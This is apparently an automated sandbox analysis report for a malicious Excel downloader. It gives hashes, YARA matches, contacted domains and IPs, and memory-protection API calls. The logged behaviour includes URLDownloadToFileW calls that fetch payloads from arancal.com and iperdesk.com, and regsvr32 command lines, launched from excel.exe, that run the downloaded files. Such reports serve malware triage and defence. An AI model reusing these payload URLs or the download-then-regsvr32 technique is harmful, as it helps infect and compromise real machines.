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grand-1938470824.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 10, 2021, 9:34 a.m. Nov. 10, 2021, 9:39 a.m.
Size 126.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Tue Nov 9 07:24:59 2021, Security: 0
MD5 9995b44e1e69c7d84be7f583cc538fdd
SHA256 83fefa59e42dd3067e094c93cb93da2abdcfb25a35cbcb117872f8a0e8bc0816
CRC32 06DD1B37
ssdeep 3072:YKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgL5yVceeiE/RD/oU2/zLWQzz:YKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgFQ
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
arancal.com
A 192.254.189.168
192.254.189.168
iperdesk.com
A 91.194.91.202
91.194.91.202
IP Address Status Action
164.124.101.2 Active Moloch
192.254.189.168 Active Moloch
91.194.91.202 Active Moloch

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2348
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bd28000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2348
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b072000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c201000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\good.good
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\good1.good
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\good.good
cmdline regsvr32 C:\Datop\good1.good
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\good2.good
cmdline regsvr32 C:\Datop\good2.good
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2348
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef50000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://arancal.com/HgLCgCS3m/be.html
stack_pivoted: 0
filepath_r: C:\Datop\good.good
filepath: C:\Datop\good.good
2148270085 0

URLDownloadToFileW

 url: https://iperdesk.com/JWqj8R2nt/be.html
stack_pivoted: 0
filepath_r: C:\Datop\good1.good
filepath: C:\Datop\good1.good
2148270085 0

URLDownloadToFileW

 url: https://iperdesk.com/JWqj8R2nt/be.html
stack_pivoted: 0
filepath_r: C:\Datop\good2.good
filepath: C:\Datop\good2.good
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\good.good
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\good1.good
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\good.good
parent_process excel.exe martian_process regsvr32 C:\Datop\good1.good
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\good2.good
parent_process excel.exe martian_process regsvr32 C:\Datop\good2.good
file C:\Windows\System32\regsvr32.exe